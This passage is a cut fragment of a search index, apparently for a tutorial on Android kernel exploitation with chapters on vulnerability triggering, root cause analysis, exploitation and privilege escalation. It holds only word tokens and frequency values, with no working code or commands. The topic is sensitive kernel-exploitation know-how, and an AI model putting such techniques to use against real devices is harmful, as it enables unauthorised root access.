:{},"r":{"docs":{},"a":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"e":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"t":{"docs":{},"i":{"docs":{},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"k":{"docs":{},"d":{"docs":{},"i":{"docs":{},"r":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247}}}}}},"o":{"docs":{},"r":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}},"d":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0021303792074989347}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"u":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}},"i":{"docs":{},"f":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}}},"n":{"docs":{},"o":{"docs":{},"t":{"docs":{},"o":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"t":{"docs":{},"h":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641}}}},"i":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},"s":{"docs":{},".":{"docs":{},".":{"docs":{},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}}}},"v":{"docs":{},"e":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"m":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{},"i":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"p":{"docs":{},"l":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}}}}}},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"_":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"c":{"docs":{},"h":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"e":{"docs":{},"a":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"m":{"docs":{},"_":{"docs":{},"c":{"docs":{},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"b":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0028530670470756064},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}}}},"c":{"docs":{},"g":{"docs":{},"_":{"docs":{},"k":{"docs":{},"m":{"docs":{},"e":{"docs":{},"m":{"docs":{},"_":{"docs":{},"s":{"docs":{},"k":{"docs":{},"i":{"docs":{},"p":{"docs":{},"_":{"docs":{},"a":{"docs":{},"c":{"docs":{},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},":":{"1":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}}}}}}}}}}}},"m":{"docs":{},"a":{"docs":{},"y":{"docs":{},"_":{"docs":{},"o":{"docs":{},"o":{"docs":{},"m":{"docs":{},":":{"1":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}},"n":{"docs":{},"r":{"docs":{},"_":{"docs":{},"p":{"docs":{},"a":{"docs":{},"g":{"docs":{},"e":{"docs":{},"s":{"docs":{},"_":{"docs":{},"o":{"docs":{},"v":{"docs":{},"e":{"docs":{},"r":{"docs":{},"_":{"docs":{},"h":{"docs":{},"i":{"docs":{},"g":{"docs":{},"h":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}},"o":{"docs":{},"o":{"docs":{},"m":{"docs":{},"_":{"docs":{},"g":{"docs":{},"f":{"docs":{},"p":{"docs":{},"_":{"docs":{},"m":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"o":{"docs":{},"r":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}},"o":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}},"y":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"i":{"docs":{},"c":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"y":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"s":{"docs":{},"_":{"docs":{},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"w":{"docs":{},"e":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"s":{"docs":{},"e":{"docs":{},"q":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}},"s":{"docs":{},"s":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"e":{"docs":{},".":{"docs":{},"m":{"docs":{},"s":{"docs":{},"g":{"docs":{},"_":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"l":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}},"s":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},".":{"docs":{},"p":{"docs":{},"i":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928}}}}}},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"e":{"docs":{},"g":{"docs":{},"m":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}},"u":{"docs":{},"p":{"docs":{},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},"_":{"docs":{},"n":{"docs":{},"e":{"docs":{},"x":{"docs":{},"t":{"docs":{},"_":{"docs":{},"o":{"docs":{},"w":{"docs":{},"n":{"docs":{},"e":{"docs":{},"r":{"docs":{},"+":{"0":{"docs":{},"x":{"5":{"2":{"docs":{},"f":{"docs":{},"/":{"0":{"docs":{},"x":{"5":{"2":{"docs":{},"f":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{}},"docs":{}}},"docs":{}}}},"docs":{}},"docs":{}}},"docs":{}}}}}}}}}}}}}}}}}}},"f":{"docs":{},"l":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"/":{"docs":{},"k":{"docs":{},"a":{"docs":{},"s":{"docs":{},"a":{"docs":{},"n":{"docs":{},"/":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"m":{"docs":{},"o":{"docs":{},"n":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"1":{"0":{"6":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}},"4":{"6":{"3":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"7":{"1":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"5":{"0":{"1":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"1":{"5":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"6":{"2":{"6":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}},"7":{"6":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"docs":{}},"8":{"5":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"docs":{}},"docs":{}}}}}}}}}},"g":{"docs":{},"e":{"docs":{},"n":{"docs":{},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{},"c":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"1":{"8":{"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"9":{"1":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"p":{"docs":{},"o":{"docs":{},"r":{"docs":{},"t":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"1":{"8":{"7":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}},"3":{"1":{"6":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}}}},"s":{"docs":{},"l":{"docs":{},"u":{"docs":{},"b":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"1":{"4":{"0":{"7":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"5":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}},"2":{"8":{"1":{"9":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}},"3":{"0":{"3":{"9":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"9":{"7":{"6":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}},"a":{"docs":{},"p":{"4":{"docs":{},"g":{"docs":{},"b":{"docs":{},"a":{"docs":{},"l":{"docs":{},"i":{"docs":{},"g":{"docs":{},"n":{"docs":{},"e":{"docs":{},"d":{"docs":{},"p":{"docs":{},"a":{"docs":{},"g":{"docs":{},"e":{"docs":{},"(":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}}}}}}},"docs":{}}}},"b":{"docs":{},"/":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"t":{"docs":{},"x":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"_":{"4":{"docs":{},"g":{"docs":{},"b":{"docs":{},"_":{"docs":{},"a":{"docs":{},"l":{"docs":{},"i":{"docs":{},"g":{"docs":{},"n":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"p":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"e":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}}}}}}},"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{},"_":{"docs":{},"f":{"docs":{},"d":{"docs":{},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}},"c":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}},"e":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},"_":{"docs":{},"f":{"docs":{},"d":{"docs":{},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}},"n":{"docs":{},"s":{"docs":{},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"x":{"docs":{},"y":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}},"p":{"docs":{},"i":{"docs":{},"d":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}},"s":{"docs":{},"g":{"docs":{},"_":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"l":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}},"h":{"docs":{},"d":{"docs":{},"r":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"a":{"docs":{},"m":{"docs":{},"e":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"i":{"docs":{},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"s":{"docs":{},"p":{"docs":{},"a":{"docs":{},"c":{"docs":{},"e":{"docs":{},"s":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}},"n":{"docs":{},"o":{"docs":{},"s":{"docs":{},"e":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"d":{"docs":{},"s":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"v":{"docs":{},"e":{"docs":{},"_":{"docs":{},"s":{"docs":{},"a":{"docs":{},"f":{"docs":{},"e":{"docs":{},"_":{"docs":{},"h":{"docs":{},"a":{"docs":{},"l":{"docs":{},"t":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}},"u":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}},"p":{"docs":{},"i":{"docs":{},"_":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"v":{"docs":{},"i":{"docs":{},"g":{"docs":{},"a":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}},"d":{"docs":{},"k":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.013015184381778741}},"_":{"docs":{},"r":{"docs":{},"o":{"docs":{},"o":{"docs":{},"t":{"docs":{},"=":{"docs":{},"~":{"docs":{},"/":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{},"/":{"docs":{},"s":{"docs":{},"d":{"docs":{},"k":{"docs":{},"/":{"docs":{},"n":{"docs":{},"d":{"docs":{},"k":{"docs":{},"/":{"2":{"1":{"docs":{},".":{"0":{"docs":{},".":{"6":{"1":{"1":{"3":{"6":{"6":{"9":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}}}}}}}}}}}},"e":{"docs":{},"c":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{},"a":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}}},"e":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0022402688322598714}}}},"w":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},")":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}},"l":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"x":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"v":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"o":{"docs":{},"t":{"docs":{},"e":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},":":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.002282453637660485},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}}}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"h":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"i":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"w":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploit